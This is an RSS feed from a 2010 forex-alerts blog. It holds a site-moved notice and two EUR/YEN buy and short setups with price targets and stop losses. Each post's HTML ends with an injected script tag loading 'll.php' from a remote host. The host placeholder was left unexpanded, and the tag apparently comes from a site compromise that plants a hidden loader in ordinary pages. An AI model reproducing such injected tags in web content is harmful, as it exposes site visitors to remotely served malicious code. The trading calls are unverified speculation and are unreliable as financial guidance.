<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>4X YAK</title>
	<atom:link href="http://4xyak.com/?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://4xyak.com</link>
	<description>The Best Forex Alerts!</description>
	<lastBuildDate>Wed, 30 Jun 2010 22:55:41 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>New Site!</title>
		<link>http://4xyak.com/?p=36</link>
		<comments>http://4xyak.com/?p=36#comments</comments>
		<pubDate>Wed, 30 Jun 2010 22:55:41 +0000</pubDate>
		<dc:creator>Shane Burke</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://4xyak.com/?p=36</guid>
		<description><![CDATA[Hello traders! Please visit Forex Trading East for all trading alerts from here on out, thanks. ForexTradingEast.com]]></description>
			<content:encoded><![CDATA[<p>Hello traders!</p>
<p>Please visit <a href="http://forextradingeast.com">Forex Trading East</a> for all trading alerts from here on out, thanks.</p>
<p>ForexTradingEast.com<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://4xyak.com/?feed=rss2&amp;p=36</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Forex Alert! Tuesday 6/29 EUR/YEN Buying Opportunity</title>
		<link>http://4xyak.com/?p=27</link>
		<comments>http://4xyak.com/?p=27#comments</comments>
		<pubDate>Wed, 30 Jun 2010 00:05:06 +0000</pubDate>
		<dc:creator>Shane Burke</dc:creator>
				<category><![CDATA[EUR/ YEN Alerts!]]></category>
		<category><![CDATA[currency]]></category>
		<category><![CDATA[currency trading alert]]></category>
		<category><![CDATA[currency trading signal]]></category>
		<category><![CDATA[forex]]></category>
		<category><![CDATA[Forex Trading]]></category>
		<category><![CDATA[forex trading alert]]></category>
		<category><![CDATA[forex trading signal]]></category>

		<guid isPermaLink="false">http://4xyak.com/?p=27</guid>
		<description><![CDATA[// Trading Blueprint: Buy the EUR/YEN in the 107.50&#8242;s as this chart needs to establish a double bottom. Look to take profits in the 108.40&#8242;s prior to the London open. Stop loss at 107.29. DO NOT CHASE THIS TRADE! Buying &#8230; <a href="http://4xyak.com/?p=27">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><script type="text/javascript">// <![CDATA[
   google_ad_client = "pub-9959153581087807"; /* 468x60, created 6/28/10 */ google_ad_slot = "4612042479"; google_ad_width = 468; google_ad_height = 60;
// ]]&gt;</script><br />
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript">
</script></p>
<p style="text-align: center;"><strong><span style="color: #0000ff;">Trading Blueprint:</span></strong> <strong>Buy the EUR/YEN in the 107.50&#8242;s as this chart needs to establish a double bottom. <span style="color: #339966;">Look to take profits in the 108.40&#8242;s prior to the London open.</span> <span style="color: #ff0000;">Stop loss at 107.29</span>. DO NOT CHASE THIS TRADE! Buying above the 108 level will lead to problems. If the mid 107&#8242;s are not seen forget about this trade, tomorrow is another day.</strong></p>
<p style="text-align: center;"><strong><a href="http://4xyak.com/wordpress/wp-content/uploads/2010/06/6-29-2010.png"><img class="aligncenter size-full wp-image-28" title="6-29-2010" src="http://4xyak.com/wordpress/wp-content/uploads/2010/06/6-29-2010.png" alt="" width="739" height="391" /></a><br />
</strong></p>
<p style="text-align: center;"><script type="text/javascript">// <![CDATA[
 google_ad_client = "pub-9959153581087807"; /* 468x15, created 6/29/10 */ google_ad_slot = "8163859465"; google_ad_width = 468; google_ad_height = 15;
// ]]&gt;</script><br />
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript">
</script><script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://4xyak.com/?feed=rss2&amp;p=27</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Live Trading Opportunity For 6/28/2010 &#8211; EUR/YEN SHORT!</title>
		<link>http://4xyak.com/?p=10</link>
		<comments>http://4xyak.com/?p=10#comments</comments>
		<pubDate>Tue, 29 Jun 2010 05:30:02 +0000</pubDate>
		<dc:creator>Shane Burke</dc:creator>
				<category><![CDATA[EUR/ YEN Alerts!]]></category>
		<category><![CDATA[Currency Trading]]></category>
		<category><![CDATA[Euro]]></category>
		<category><![CDATA[Forex Alert]]></category>
		<category><![CDATA[Forex Signal]]></category>
		<category><![CDATA[Forex Trading]]></category>
		<category><![CDATA[Yen]]></category>

		<guid isPermaLink="false">http://4xyak.com/wordpress/?p=10</guid>
		<description><![CDATA[Trading Blueprint: Short the EUR/YEN with a break below 109.50, exit the trade prior to London Open at 2:00am est. Could see a drop to 108 in Asian trading hours but there is an outside chance of a meltdown below &#8230; <a href="http://4xyak.com/?p=10">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><strong><span style="color: #0000ff;">Trading Blueprint: Short the EUR/YEN with a break below 109.50, exit the trade prior to London Open at 2:00am est. Could see a drop to 108 in Asian trading hours but there is an outside chance of a meltdown below the 108 area and could see the 107.30&#8242;s.</span></strong></p>
<p style="text-align: center;"><strong><span style="color: #0000ff;"><a href="http://4xyak.com/wordpress/wp-content/uploads/2010/06/6-28-20101.png"><img class="aligncenter size-full wp-image-11" title="6-28-2010" src="http://4xyak.com/wordpress/wp-content/uploads/2010/06/6-28-20101.png" alt="Euro / Yen Short Opportunity" width="740" height="344" /></a><br />
</span></strong></p>
<p><script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://4xyak.com/?feed=rss2&amp;p=10</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

